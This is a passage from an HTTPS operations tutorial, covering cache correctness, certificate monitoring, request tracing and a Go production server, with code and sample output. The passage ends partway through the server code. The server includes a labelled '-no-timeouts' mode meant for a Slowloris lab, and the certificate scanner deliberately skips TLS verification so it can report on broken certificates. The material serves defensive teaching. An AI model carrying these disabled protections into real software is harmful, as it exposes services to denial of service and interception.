HTTP/2 allowed  -> HTTP/2.0 200 OK in 114ms
                   no Alt-Svc header: no HTTP/3 advertised over HTTP
HTTPS record:   none published

Chapter 15 — Cache correctness: browser, CDN, proxy, and application caches

1. Who may cache this?       browser only, shared CDN, proxy, nobody?
2. What is the cache key?    URL, method, Host, Accept-Encoding, headers?
3. How long is it fresh?     max-age, s-maxage, immutable, revalidation?
4. How is it invalidated?    new URL, purge API, surrogate key, TTL only?
5. What happens on failure?  serve stale, revalidate, bypass, fail closed?

# Personalized HTML or API response
Cache-Control: no-store

# Public hashed asset
Cache-Control: public, max-age=31536000, immutable

# CDN cache, browser revalidates quickly
Cache-Control: public, max-age=60, s-maxage=3600, stale-while-revalidate=30

# If content varies by encoding or language
Vary: Accept-Encoding, Accept-Language

// edgecache: a tiny CDN edge -- a caching reverse proxy that follows HTTP's
// caching rules: Cache-Control (no-store, private, max-age, s-maxage,
// stale-while-revalidate), Vary, Set-Cookie, ETag revalidation, and Age.
//
//	go run ./edgecache -demo              # starts an origin + the cache, runs a scripted test
//	go run ./edgecache -origin http://localhost:8080 -listen :8081
package main

import (
	"bytes"
	"flag"
	"fmt"
	"io"
	"log"
	"net/http"
	"net/http/httptest"
	"strconv"
	"strings"
	"sync"
	"time"
)

type entry struct {
	status  int
	header  http.Header
	body    []byte
	stored  time.Time
	ttl     time.Duration // freshness lifetime
	swr     time.Duration // stale-while-revalidate window
	refresh sync.Once     // at most one background refresh per stale entry
}

type cache struct {
	origin string
	client *http.Client
	mu     sync.Mutex
	items  map[string]*entry
	vary   map[string][]string // base key -> request headers the origin said it varies on
}

func newCache(origin string) *cache {
	return &cache{origin: origin, client: &http.Client{Timeout: 10 * time.Second},
		items: map[string]*entry{}, vary: map[string][]string{}}
}

// key = method + URL + the values of every header named in Vary. Getting the
// key wrong is how caches serve one user's response to another.
func (c *cache) key(r *http.Request) string {
	base := r.Method + " " + r.URL.RequestURI()
	c.mu.Lock()
	vary := c.vary[base]
	c.mu.Unlock()
	var b strings.Builder
	b.WriteString(base)
	for _, h := range vary {
		b.WriteString("|" + h + "=" + r.Header.Get(h))
	}
	return b.String()
}

func (c *cache) ServeHTTP(w http.ResponseWriter, r *http.Request) {
	cacheable := (r.Method == http.MethodGet || r.Method == http.MethodHead) && r.Header.Get("Authorization") == ""
	if !cacheable {
		c.forward(w, r, "BYPASS")
		return
	}
	k := c.key(r)
	c.mu.Lock()
	e := c.items[k]
	c.mu.Unlock()

	if e != nil {
		age := time.Since(e.stored)
		switch {
		case age < e.ttl:
			c.serve(w, e, "HIT")
			return
		case age < e.ttl+e.swr:
			c.serve(w, e, "STALE")                                          // fast answer now...
			e.refresh.Do(func() { go c.fetch(r.Clone(r.Context()), k, e) }) // ...fresh copy later
			return
		}
	}
	fresh, state := c.fetch(r, k, e)
	if fresh == nil {
		http.Error(w, "origin unreachable", http.StatusBadGateway)
		return
	}
	c.serve(w, fresh, state)
}

// fetch asks the origin, revalidating with If-None-Match when we hold an old
// copy. A 304 means "your copy is still good": no body crosses the network.
func (c *cache) fetch(r *http.Request, k string, old *entry) (*entry, string) {
	req, _ := http.NewRequest(r.Method, c.origin+r.URL.RequestURI(), nil)
	req.Header = r.Header.Clone()
	if old != nil && old.header.Get("ETag") != "" {
		req.Header.Set("If-None-Match", old.header.Get("ETag"))
	}
	resp, err := c.client.Do(req)
	if err != nil {
		return nil, ""
	}
	defer resp.Body.Close()
	body, _ := io.ReadAll(resp.Body)

	if resp.StatusCode == http.StatusNotModified && old != nil {
		e := &entry{status: old.status, header: old.header, body: old.body, stored: time.Now(), ttl: old.ttl, swr: old.swr}
		c.store(r, k, e, resp.Header)
		return e, "REVALIDATED"
	}
	e := &entry{status: resp.StatusCode, header: resp.Header.Clone(), body: body, stored: time.Now()}
	ttl, swr, ok := policy(resp)
	if !ok {
		return e, "UNCACHEABLE" // pass it through to this client, store nothing
	}
	e.ttl, e.swr = ttl, swr
	c.store(r, k, e, resp.Header)
	return e, "MISS"
}

func (c *cache) store(r *http.Request, k string, e *entry, h http.Header) {
	c.mu.Lock()
	defer c.mu.Unlock()
	if v := h.Get("Vary"); v != "" {
		base := r.Method + " " + r.URL.RequestURI()
		var hs []string
		for _, f := range strings.Split(v, ",") {
			hs = append(hs, http.CanonicalHeaderKey(strings.TrimSpace(f)))
		}
		c.vary[base] = hs
		k = c.keyLocked(r, hs)
	}
	c.items[k] = e
}

func (c *cache) keyLocked(r *http.Request, vary []string) string {
	k := r.Method + " " + r.URL.RequestURI()
	for _, h := range vary {
		k += "|" + h + "=" + r.Header.Get(h)
	}
	return k
}

// policy decides whether a SHARED cache may store a response, and for how long.
func policy(resp *http.Response) (ttl, swr time.Duration, ok bool) {
	if resp.StatusCode != http.StatusOK || resp.Header.Get("Set-Cookie") != "" {
		return 0, 0, false // never share a response that sets someone's cookie
	}
	cc := map[string]string{}
	for _, d := range strings.Split(resp.Header.Get("Cache-Control"), ",") {
		k, v, _ := strings.Cut(strings.TrimSpace(strings.ToLower(d)), "=")
		cc[k] = v
	}
	if _, ok := cc["no-store"]; ok {
		return 0, 0, false
	}
	if _, ok := cc["private"]; ok {
		return 0, 0, false // browser may cache it; a CDN must not
	}
	if v, ok := cc["vary"]; ok && v == "*" {
		return 0, 0, false
	}
	secs := func(name string) (time.Duration, bool) {
		v, ok := cc[name]
		if !ok {
			return 0, false
		}
		n, err := strconv.Atoi(v)
		return time.Duration(n) * time.Second, err == nil
	}
	if d, ok := secs("s-maxage"); ok { // s-maxage wins for shared caches
		ttl = d
	} else if d, ok := secs("max-age"); ok {
		ttl = d
	} else {
		return 0, 0, false // no explicit freshness: don't guess
	}
	swr, _ = secs("stale-while-revalidate")
	return ttl, swr, true
}

func (c *cache) serve(w http.ResponseWriter, e *entry, state string) {
	for k, v := range e.header {
		w.Header()[k] = v
	}
	w.Header().Set("Age", strconv.Itoa(int(time.Since(e.stored).Seconds())))
	w.Header().Set("X-Cache", state)
	w.WriteHeader(e.status)
	w.Write(e.body)
}

func (c *cache) forward(w http.ResponseWriter, r *http.Request, state string) {
	req, _ := http.NewRequest(r.Method, c.origin+r.URL.RequestURI(), r.Body)
	req.Header = r.Header.Clone()
	resp, err := c.client.Do(req)
	if err != nil {
		http.Error(w, "origin unreachable", http.StatusBadGateway)
		return
	}
	defer resp.Body.Close()
	for k, v := range resp.Header {
		w.Header()[k] = v
	}
	w.Header().Set("X-Cache", state)
	w.WriteHeader(resp.StatusCode)
	io.Copy(w, resp.Body)
}

// ------------------------------------------------------------------ demo --

func demoOrigin(hits map[string]int, mu *sync.Mutex) http.Handler {
	count := func(r *http.Request) { mu.Lock(); hits[r.URL.Path]++; mu.Unlock() }
	mux := http.NewServeMux()
	mux.HandleFunc("/static.js", func(w http.ResponseWriter, r *http.Request) {
		count(r)
		w.Header().Set("Cache-Control", "public, max-age=2, stale-while-revalidate=5")
		fmt.Fprint(w, "console.log('v1')")
	})
	mux.HandleFunc("/account", func(w http.ResponseWriter, r *http.Request) {
		count(r)
		w.Header().Set("Cache-Control", "private, max-age=60")
		fmt.Fprintf(w, "balance for %s", r.Header.Get("X-User"))
	})
	mux.HandleFunc("/news", func(w http.ResponseWriter, r *http.Request) {
		count(r)
		w.Header().Set("Cache-Control", "public, max-age=1")
		w.Header().Set("ETag", `"news-v7"`)
		if r.Header.Get("If-None-Match") == `"news-v7"` {
			w.WriteHeader(http.StatusNotModified)
			return
		}
		fmt.Fprint(w, strings.Repeat("big news ", 1000))
	})
	mux.HandleFunc("/hello", func(w http.ResponseWriter, r *http.Request) {
		count(r)
		w.Header().Set("Cache-Control", "public, max-age=60")
		w.Header().Set("Vary", "Accept-Language")
		if strings.HasPrefix(r.Header.Get("Accept-Language"), "fr") {
			fmt.Fprint(w, "bonjour")
			return
		}
		fmt.Fprint(w, "hello")
	})
	return mux
}

func main() {
	demo := flag.Bool("demo", false, "run a scripted demo against a built-in origin")
	origin := flag.String("origin", "", "origin base URL")
	listen := flag.String("listen", ":8081", "listen address")
	flag.Parse()
	if !*demo {
		log.Printf("caching %s on %s", *origin, *listen)
		log.Fatal(http.ListenAndServe(*listen, newCache(*origin)))
	}

	hits := map[string]int{}
	var mu sync.Mutex
	o := httptest.NewServer(demoOrigin(hits, &mu))
	defer o.Close()
	edge := httptest.NewServer(newCache(o.URL))
	defer edge.Close()

	get := func(path string, hdr ...string) {
		req, _ := http.NewRequest("GET", edge.URL+path, nil)
		for i := 0; i+1 < len(hdr); i += 2 {
			req.Header.Set(hdr[i], hdr[i+1])
		}
		resp, err := http.DefaultClient.Do(req)
		if err != nil {
			fmt.Println(err)
			return
		}
		b, _ := io.ReadAll(resp.Body)
		resp.Body.Close()
		mu.Lock()
		n := hits[path]
		mu.Unlock()
		fmt.Printf("GET %-11s %-28s -> %-12s age=%-2s origin hits=%d  body=%q\n", path, strings.Join(hdr, " "),
			resp.Header.Get("X-Cache"), resp.Header.Get("Age"), n, string(bytes.TrimSpace(b[:min(len(b), 20)])))
	}

	get("/static.js")
	get("/static.js")
	time.Sleep(2100 * time.Millisecond)
	get("/static.js") // stale: served instantly, refreshed in the background
	time.Sleep(100 * time.Millisecond)
	get("/static.js")
	get("/account", "X-User", "alice")
	get("/account", "X-User", "bob")
	get("/news")
	time.Sleep(1100 * time.Millisecond)
	get("/news") // stale, no swr: revalidate with If-None-Match -> 304
	get("/hello", "Accept-Language", "en")
	get("/hello", "Accept-Language", "fr")
	get("/hello", "Accept-Language", "fr")
}

$ go run ./edgecache -demo
GET /static.js                               -> MISS         age=0  origin hits=1  body="console.log('v1')"
GET /static.js                               -> HIT          age=0  origin hits=1  body="console.log('v1')"
GET /static.js                               -> STALE        age=2  origin hits=1  body="console.log('v1')"
GET /static.js                               -> HIT          age=0  origin hits=2  body="console.log('v1')"
GET /account    X-User alice                 -> UNCACHEABLE  age=0  origin hits=1  body="balance for alice"
GET /account    X-User bob                   -> UNCACHEABLE  age=0  origin hits=2  body="balance for bob"
GET /news                                    -> MISS         age=0  origin hits=1  body="big news big news bi"
GET /news                                    -> REVALIDATED  age=0  origin hits=2  body="big news big news bi"
GET /hello      Accept-Language en           -> MISS         age=0  origin hits=1  body="hello"
GET /hello      Accept-Language fr           -> MISS         age=0  origin hits=2  body="bonjour"
GET /hello      Accept-Language fr           -> HIT          age=0  origin hits=2  body="bonjour"

Chapter 16 — Certificate and domain operations: ACME, rotation, CT monitoring, and emergency revocation

1. Your ACME client asks the CA for a certificate for api.example.com
2. The CA sets a challenge to prove you control the name:
     HTTP-01   serve a token at http://api.example.com/.well-known/acme-challenge/...
     DNS-01    publish a TXT record at _acme-challenge.api.example.com   (needed for wildcards)
     TLS-ALPN-01  answer a special TLS handshake on port 443
3. The CA checks the challenge from several network vantage points
4. The CA issues the certificate and logs it to Certificate Transparency
5. Your client installs it, and must re-run all of this before expiry

# Inspect the served certificate and chain.
openssl s_client -connect example.com:443 -servername example.com -showcerts </dev/null

# Show expiry, subject, issuer, and SANs from a local cert file.
openssl x509 -in cert.pem -noout -subject -issuer -dates -ext subjectAltName

# Check CAA records.
dig CAA example.com

// certcheck: a certificate inventory scanner. For every endpoint, check the
// certificate actually SERVED: days to expiry, name coverage, chain sent,
// issuer, key type. Optionally list what Certificate Transparency logs know.
//
//	go run ./certcheck -warn 30 example.com github.com expired.badssl.com
//	go run ./certcheck -ct example.com        # also query crt.sh (CT logs)
package main

import (
	"context"
	"crypto/ecdsa"
	"crypto/rsa"
	"crypto/tls"
	"crypto/x509"
	"encoding/json"
	"flag"
	"fmt"
	"net"
	"net/http"
	"net/url"
	"os"
	"sort"
	"strings"
	"sync"
	"time"
)

type result struct {
	target string
	lines  []string
	level  int // 0 ok, 1 warn, 2 critical
}

func main() {
	warn := flag.Int("warn", 30, "warn when a certificate expires within this many days")
	crit := flag.Int("crit", 7, "critical within this many days")
	ct := flag.Bool("ct", false, "also list recent certificates from Certificate Transparency (crt.sh)")
	flag.Parse()

	results := make([]result, flag.NArg())
	var wg sync.WaitGroup
	for i, t := range flag.Args() {
		wg.Add(1)
		go func() { defer wg.Done(); results[i] = check(t, *warn, *crit) }()
	}
	wg.Wait()

	worst := 0
	for _, r := range results {
		tag := []string{"OK  ", "WARN", "CRIT"}[r.level]
		fmt.Printf("[%s] %s\n", tag, r.target)
		for _, l := range r.lines {
			fmt.Println("       " + l)
		}
		worst = max(worst, r.level)
	}
	if *ct {
		for _, t := range flag.Args() {
			host, _, _ := strings.Cut(t, ":")
			ctLookup(host)
		}
	}
	os.Exit(worst) // 0/1/2: plugs straight into cron, CI, or Nagios-style monitoring
}

func check(target string, warnDays, critDays int) result {
	r := result{target: target}
	host, port, err := net.SplitHostPort(target)
	if err != nil {
		host, port = target, "443"
	}
	// Verify ourselves AFTER the handshake so we can still report on bad certs.
	conn, err := tls.DialWithDialer(&net.Dialer{Timeout: 5 * time.Second}, "tcp",
		net.JoinHostPort(host, port), &tls.Config{ServerName: host, InsecureSkipVerify: true})
	if err != nil {
		r.level, r.lines = 2, []string{"handshake failed: " + err.Error()}
		return r
	}
	defer conn.Close()
	certs := conn.ConnectionState().PeerCertificates
	leaf := certs[0]
	days := int(time.Until(leaf.NotAfter).Hours() / 24)

	r.lines = append(r.lines, fmt.Sprintf("subject %s, issuer %q", leaf.Subject.CommonName, leaf.Issuer.CommonName))
	r.lines = append(r.lines, fmt.Sprintf("expires %s (%d days), key %s, lifetime %d days",
		leaf.NotAfter.Format("2006-01-02"), days, keyType(leaf),
		int(leaf.NotAfter.Sub(leaf.NotBefore).Hours()/24)))
	switch {
	case days < 0:
		r.level = 2
		r.lines = append(r.lines, "EXPIRED")
	case days < critDays:
		r.level = 2
	case days < warnDays:
		r.level = 1
	}
	if err := leaf.VerifyHostname(host); err != nil {
		r.level = 2
		r.lines = append(r.lines, "NAME NOT COVERED: SANs are "+strings.Join(leaf.DNSNames, ", "))
	}

	// Chain check using only what the server sent. Run this on Linux: on macOS
	// (and Windows) Go asks the OS to verify, and the OS quietly downloads
	// missing intermediates -- hiding exactly the bug we are looking for.
	inter := x509.NewCertPool()
	for _, c := range certs[1:] {
		inter.AddCert(c)
	}
	if _, err := leaf.Verify(x509.VerifyOptions{DNSName: host, Intermediates: inter}); err != nil {
		r.level = max(r.level, 2)
		r.lines = append(r.lines, fmt.Sprintf("chain does not verify with the %d cert(s) sent: %v", len(certs), err))
	}
	return r
}

func keyType(c *x509.Certificate) string {
	switch k := c.PublicKey.(type) {
	case *rsa.PublicKey:
		return fmt.Sprintf("RSA-%d", k.N.BitLen())
	case *ecdsa.PublicKey:
		return "ECDSA-" + k.Curve.Params().Name
	}
	return c.PublicKeyAlgorithm.String()
}

// ctLookup lists certificates that public CT logs recorded for a domain in
// the last 90 days -- including ones YOU didn't request. crt.sh is a free
// community service: be gentle, and expect it to be slow at times.
func ctLookup(domain string) {
	ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
	defer cancel()
	u := "https://crt.sh/?output=json&exclude=expired&q=" + url.QueryEscape(domain)
	req, _ := http.NewRequestWithContext(ctx, "GET", u, nil)
	resp, err := http.DefaultClient.Do(req)
	if err != nil {
		fmt.Printf("\nCT %s: %v\n", domain, err)
		return
	}
	defer resp.Body.Close()
	if resp.StatusCode != http.StatusOK || !strings.Contains(resp.Header.Get("Content-Type"), "json") {
		fmt.Printf("\nCT %s: crt.sh answered %s (it is often overloaded; try again later)\n", domain, resp.Status)
		return
	}
	var rows []struct {
		IssuerName string `json:"issuer_name"`
		NameValue  string `json:"name_value"`
		NotBefore  string `json:"not_before"`
	}
	if err := json.NewDecoder(resp.Body).Decode(&rows); err != nil {
		fmt.Printf("\nCT %s: %v\n", domain, err)
		return
	}
	issuers := map[string]int{}
	cutoff := time.Now().AddDate(0, 0, -90).Format("2006-01-02")
	recent := 0
	for _, r := range rows {
		if r.NotBefore >= cutoff {
			recent++
			issuers[r.IssuerName]++
		}
	}
	fmt.Printf("\nCT %s: %d unexpired certificates logged, %d issued in the last 90 days, by:\n", domain, len(rows), recent)
	names := make([]string, 0, len(issuers))
	for n := range issuers {
		names = append(names, n)
	}
	sort.Slice(names, func(i, j int) bool { return issuers[names[i]] > issuers[names[j]] })
	for _, n := range names {
		fmt.Printf("  %4d  %s\n", issuers[n], n)
	}
	fmt.Println("  -> any issuer here that you don't use is worth investigating (and a CAA record would block it)")
}

$ go run ./certcheck -warn 30 example.com github.com expired.badssl.com wrong.host.badssl.com incomplete-chain.badssl.com
[OK  ] example.com
       subject example.com, issuer "Cloudflare TLS Issuing ECC CA 3"
       expires 2026-12-25 (83 days), key ECDSA-P-256, lifetime 90 days
[OK  ] github.com
       subject github.com, issuer "Sectigo Public Server Authentication CA DV E36"
       expires 2026-11-29 (57 days), key ECDSA-P-256, lifetime 89 days
[CRIT] expired.badssl.com
       subject *.badssl.com, issuer "COMODO RSA Domain Validation Secure Server CA"
       expires 2015-04-12 (-4191 days), key RSA-2048, lifetime 3 days
       EXPIRED
       chain does not verify with the 3 cert(s) sent: x509: certificate has expired or is not yet valid: ...
[CRIT] wrong.host.badssl.com
       subject *.badssl.com, issuer "YR1"
       expires 2026-12-28 (86 days), key RSA-2048, lifetime 89 days
       NAME NOT COVERED: SANs are *.badssl.com, badssl.com
       chain does not verify with the 3 cert(s) sent: x509: certificate is valid for *.badssl.com, badssl.com, not wrong.host.badssl.com
[CRIT] incomplete-chain.badssl.com
       subject *.badssl.com, issuer "YR1"
       expires 2026-12-28 (86 days), key RSA-2048, lifetime 89 days
       chain does not verify with the 1 cert(s) sent: x509: certificate signed by unknown authority
exit status 2

[ ] Automated renewal tested, not merely configured.
[ ] Expiry alert fires well before the shortest certificate lifetime.
[ ] Private keys are generated and stored in approved systems.
[ ] Intermediate chain is served correctly from every edge.
[ ] CT logs are monitored for unexpected certificates.
[ ] CAA records match the CAs you actually use.
[ ] Emergency revocation and reissue runbook exists.

Chapter 17 — Debugging the lifecycle: browser DevTools, curl, OpenSSL, packet capture, and logs

 start ── DNS ── TCP connect ── TLS handshake ── request sent ── first byte ── last byte
          └ resolver ┘ └ 1 RTT ┘    └ 1 RTT (TLS 1.3) ┘     └ server think + 1 RTT ┘ └ size/bandwidth ┘

# DNS
dig example.com A
dig example.com AAAA

# TCP/TLS/HTTP timing
curl -v -w 'dns=%{time_namelookup} connect=%{time_connect} tls=%{time_appconnect} ttfb=%{time_starttransfer} total=%{time_total}\n' -o /dev/null https://example.com

# Certificate
openssl s_client -connect example.com:443 -servername example.com </dev/null

# Headers and cache/security policy
curl -sI https://example.com

# Bypass DNS and hit ONE specific edge or backend, keeping SNI and Host correct
curl -v --resolve example.com:443:203.0.113.10 https://example.com/

// httptrace: `curl -w` in Go -- time every phase of an HTTPS request and show
// what the response says about caches, servers, and protocols on the way.
//
//	go run ./httptrace https://example.com/
//	go run ./httptrace -n 3 https://www.cloudflare.com/     # watch connection reuse
package main

import (
	"crypto/tls"
	"flag"
	"fmt"
	"io"
	"net/http"
	"net/http/httptrace"
	"os"
	"strings"
	"time"
)

func main() {
	n := flag.Int("n", 1, "number of sequential requests (shows connection reuse)")
	flag.Parse()
	if flag.NArg() != 1 {
		fmt.Println("usage: httptrace [-n N] URL")
		os.Exit(2)
	}
	client := &http.Client{Timeout: 15 * time.Second} // one client = one connection pool
	for i := 1; i <= *n; i++ {
		if err := trace(client, flag.Arg(0), i); err != nil {
			fmt.Println("error:", err)
			os.Exit(1)
		}
	}
}

func trace(client *http.Client, url string, i int) error {
	var start, dnsStart, dnsDone, connStart, connDone, tlsStart, tlsDone, gotConn, wrote, firstByte time.Time
	var reused bool
	var remote string
	var tlsState *tls.ConnectionState

	ct := &httptrace.ClientTrace{
		DNSStart:          func(httptrace.DNSStartInfo) { dnsStart = time.Now() },
		DNSDone:           func(httptrace.DNSDoneInfo) { dnsDone = time.Now() },
		ConnectStart:      func(_, _ string) { connStart = time.Now() },
		ConnectDone:       func(_, addr string, _ error) { connDone, remote = time.Now(), addr },
		TLSHandshakeStart: func() { tlsStart = time.Now() },
		TLSHandshakeDone: func(s tls.ConnectionState, _ error) {
			tlsDone, tlsState = time.Now(), &s
		},
		GotConn: func(info httptrace.GotConnInfo) {
			gotConn, reused = time.Now(), info.Reused
			if remote == "" {
				remote = info.Conn.RemoteAddr().String()
			}
		},
		WroteRequest:         func(httptrace.WroteRequestInfo) { wrote = time.Now() },
		GotFirstResponseByte: func() { firstByte = time.Now() },
	}

	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		return err
	}
	req = req.WithContext(httptrace.WithClientTrace(req.Context(), ct))

	start = time.Now()
	resp, err := client.Do(req)
	if err != nil {
		return err
	}
	body, _ := io.Copy(io.Discard, resp.Body)
	resp.Body.Close()
	end := time.Now()

	ms := func(a, b time.Time) string {
		if a.IsZero() || b.IsZero() {
			return "     -   "
		}
		return fmt.Sprintf("%7.1fms", float64(b.Sub(a).Microseconds())/1000)
	}
	fmt.Printf("request #%d  %s  %s  reused=%v  remote=%s\n", i, resp.Proto, resp.Status, reused, remote)
	fmt.Printf("  dns       %s\n", ms(dnsStart, dnsDone))
	fmt.Printf("  tcp       %s\n", ms(connStart, connDone))
	fmt.Printf("  tls       %s", ms(tlsStart, tlsDone))
	if tlsState != nil {
		fmt.Printf("   %s, ALPN=%q, resumed=%v", tls.VersionName(tlsState.Version), tlsState.NegotiatedProtocol, tlsState.DidResume)
	}
	fmt.Println()
	fmt.Printf("  got conn  %s  (time to a usable connection)\n", ms(start, gotConn))
	fmt.Printf("  ttfb      %s  (request written -> first byte: server think time + 1 RTT)\n", ms(wrote, firstByte))
	fmt.Printf("  download  %s  (%d bytes)\n", ms(firstByte, end), body)
	fmt.Printf("  total     %s\n", ms(start, end))

	// What the headers reveal about the path.
	for _, h := range []string{"Server", "Via", "Age", "Cache-Control", "CF-Cache-Status", "X-Cache",
		"Alt-Svc", "Strict-Transport-Security", "Server-Timing", "Content-Encoding"} {
		if v := resp.Header.Get(h); v != "" {
			fmt.Printf("  %-26s %s\n", h+":", strings.TrimSpace(v))
		}
	}
	fmt.Println()
	return nil
}

$ go run ./httptrace -n 2 https://example.com/
request #1  HTTP/2.0  200 OK  reused=false  remote=104.20.23.154:443
  dns          30.2ms
  tcp          19.5ms
  tls        1108.8ms   TLS 1.3, ALPN="h2", resumed=false
  got conn   1159.5ms  (time to a usable connection)
  ttfb         63.5ms  (request written -> first byte: server think time + 1 RTT)
  download      0.1ms  (577 bytes)
  total      1223.3ms
  Server:                    cloudflare
  Age:                       1345
  CF-Cache-Status:           HIT
  Alt-Svc:                   h3=":443"; ma=86400

request #2  HTTP/2.0  200 OK  reused=true  remote=104.20.23.154:443
  dns            -
  tcp            -
  tls            -
  got conn      0.0ms  (time to a usable connection)
  ttfb         53.2ms  (request written -> first byte: server think time + 1 RTT)
  total        53.6ms

Chapter 18 — Capstone: diagnose a slow, broken, or unsafe HTTPS request end to end

Scenario

Users in one region report that https://www.example.com/app is slow and occasionally shows an old UI after deployment. Security also reports that a new subdomain is missing expected headers.

Investigation plan

1. Scope:
   affected region, browser, network, time window, URL, account type

2. DNS/routing:
   A/AAAA answers, resolver differences, CDN POP, anycast path

3. Transport/protocol:
   TCP vs QUIC, HTTP/2 vs HTTP/3, packet loss, fallback behavior

4. TLS:
   certificate SAN, chain, expiry, SNI, ALPN, edge certificate inventory

5. HTTP:
   status, redirects, cache headers, Vary, cookies, compression, content type

6. CDN/cache:
   hit/miss, age, surrogate key, purge status, service-worker cache

7. Browser:
   LCP, CLS, INP, render-blocking resources, main-thread long tasks

8. Security:
   HSTS, CSP, CORS, cookie flags, frame policy, referrer policy

9. Fix:
   smallest safe change, rollback path, validation, monitoring, postmortem

The toolbox you've built

Every step in the plan has a tool from this series:

A worked diagnosis

Here's how the scenario resolves when you run the tools in order. (The findings are illustrative, but each one is a pattern this guide has shown for real.)

1. dnsdiff www.example.com
   -> all resolvers agree on the CDN's anycast addresses           NOT DNS

2. httptrace -n 5 https://www.example.com/app   (from the affected region)
   -> dns 3ms, tcp 140ms, tls 150ms, ttfb 900ms, X-Cache: MISS every time
   -> high RTT (140 ms) means the user is far from the POP serving them;
      MISS on every request means the edge isn't caching /app at all

3. curl -sI https://www.example.com/app
   -> Cache-Control: no-store                     on the HTML (fine: personalised)
   -> the HTML references /static/app.js?v=2      (NOT content-hashed)
   -> curl -sI .../static/app.js?v=2  ->  Cache-Control: public, max-age=86400

4. Root cause of "old UI": the deploy changed app.js but kept the query string
   "v=2", so browsers and the CDN served yesterday's file for up to 24 h
   (Chapter 15: version by content hash, not by hand).

5. Root cause of "slow": the region's DNS steering sends users to a distant
   POP; and /app's HTML is uncacheable, so every request pays a full origin
   round trip. Mitigation: enable the nearer POP; cache the static shell and
   fetch the personalised data via an API call.

6. certcheck new.example.com; curl -sI https://new.example.com
   -> certificate fine, but no Strict-Transport-Security or CSP:
      the new subdomain bypasses the edge configuration that adds them.
   -> fix: add headers in the application (Chapter 19's middleware), not only at the edge.

Deliverable

Write a short incident note:

Impact:
Root cause:
Evidence:
Mitigation:
Permanent fix:
How we will detect this next time:

For the worked diagnosis, "how we will detect this next time" might read: a synthetic httptrace probe per region alerting on TTFB p95; a CI check that fails if a static asset URL isn't content-hashed; and a curl -sI check in the deploy pipeline that fails if any public hostname lacks HSTS or CSP.

If you can do this calmly for an unfamiliar URL, you understand the HTTPS lifecycle at a genuinely practical level.

Chapter 19 — A production HTTPS server in Go: TLS, timeouts, headers, and shutdown

 accept ──[ReadHeaderTimeout]── headers read ──[ReadTimeout: whole body]── handler runs
        ──[WriteTimeout: until response done]── idle keep-alive ──[IdleTimeout]── next request / close

// httpsserver: a production-shaped HTTPS server using only the standard
// library -- modern TLS, every timeout set, security headers, HTTP->HTTPS
// redirect, health endpoints, structured logs, and graceful shutdown.
//
//	go run ./httpsserver                         # self-signed cert, :8443 + :8080 redirect
//	go run ./httpsserver -cert c.pem -key k.pem  # your own certificate
//	go run ./httpsserver -plain :8080 -no-timeouts   # plain HTTP, NO timeouts (the Slowloris lab)
package main

import (
	"context"
	"crypto/ecdsa"
	"crypto/elliptic"
	"crypto/rand"
	"crypto/tls"
	"crypto/x509"
	"crypto/x509/pkix"
	"errors"
	"flag"
	"fmt"
	"log/slog"
	"math/big"
	"net"
	"net/http"
	"os"
	"os/signal"
	"sync/atomic"
	"syscall"
	"time"
)

func main() {
	addr := flag.String("addr", ":8443", "HTTPS listen address")
	redirect := flag.String("redirect", ":8080", "plain-HTTP listener that only redirects to HTTPS ('' to disable)")
	plain := flag.String("plain", "", "serve the app over PLAIN HTTP on this address instead (lab use)")
	certFile := flag.String("cert", "", "certificate PEM (default: generate self-signed)")
	keyFile := flag.String("key", "", "private key PEM")
	noTimeouts := flag.Bool("no-timeouts", false, "DANGEROUS: zero timeouts, to demonstrate Slowloris")
	flag.Parse()

	log := slog.New(slog.NewJSONHandler(os.Stdout, nil))
	var ready atomic.Bool
	var open atomic.Int64

	mux := http.NewServeMux()
	mux.HandleFunc("GET /healthz", func(w http.ResponseWriter, _ *http.Request) { w.Write([]byte("ok")) }) // liveness
	mux.HandleFunc("GET /readyz", func(w http.ResponseWriter, _ *http.Request) {                           // readiness
		if !ready.Load() {
			http.Error(w, "not ready", http.StatusServiceUnavailable)
			return
		}
		w.Write([]byte("ready"))
	})
	mux.HandleFunc("GET /{$}", func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "hello over %s (%s)\n", r.Proto, tlsVersion(r))
	})

	srv := &http.Server{
		Addr:    *addr,
		Handler: securityHeaders(logRequests(log, mux)),
		// The four timeouts. Go's zero values mean "wait forever", which is
		// exactly what Slowloris exploits.
		ReadHeaderTimeout: 5 * time.Second,   // client must finish sending headers
		ReadTimeout:       30 * time.Second,  // ...and the whole request body
		WriteTimeout:      30 * time.Second,  // we must finish the response
		IdleTimeout:       120 * time.Second, // keep-alive connections between requests
		MaxHeaderBytes:    32 << 10,          // 32 KB of headers is plenty
		TLSConfig: &tls.Config{
			MinVersion: tls.VersionTLS12, // TLS 1.0/1.1 are deprecated (RFC 8996)
			// Go's defaults pick strong cipher suites and prefer TLS 1.3;
			// resist the urge to hand-tune them.
		},
		ConnState: func(_ net.Conn, s http.ConnState) { // count open connections
			switch s {
			case http.StateNew:
				open.Add(1)
			case http.StateClosed, http.StateHijacked:
				open.Add(-1)
			}
		},
		ErrorLog: slog.NewLogLogger(log.Handler(), slog.LevelWarn),
	}
	if *noTimeouts {
		srv.ReadHeaderTimeout, srv.ReadTimeout, srv.WriteTimeout, srv.IdleTimeout = 0, 0, 0, 0
		log.Warn("timeouts disabled: this server can be held open forever")
	}
	go func() { // report open connections every 5s, so the Slowloris lab is visible
		for range time.Tick(5 * time.Second) {
			log.Info("connections", "open", open.Load())
		}
	}()

	if *plain != "" {
		srv.Addr = *plain
		go func() { log.Error("serve", "err", srv.ListenAndServe()) }()
	} else {
		cert, err := loadOrGenerate(*certFile, *keyFile)
		if err != nil {
			log.Error("certificate", "err", err)
			os.Exit(1)
		}
		srv.TLSConfig.Certificates = []tls.Certificate{cert}
		go func() {
			if err := srv.ListenAndServeTLS("", ""); !errors.Is(err, http.ErrServerClosed) {
				log.Error("serve", "err", err)
				os.Exit(1)
			}
		}()
		if *redirect != "" {
			go http.ListenAndServe(*redirect, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
				host, _, _ := net.SplitHostPort(r.Host)
				if host == "" {
					host = r.Host
				}
				_, port, _ := net.SplitHostPort(*addr)
				http.Redirect(w, r, "https://"+net.JoinHostPort(host, port)+r.URL.RequestURI(), http.StatusMovedPermanently)
			}))
		}
	}
	ready.Store(true)
	log.Info("listening", "https", *addr, "plain", *plain, "redirect", *redirect)

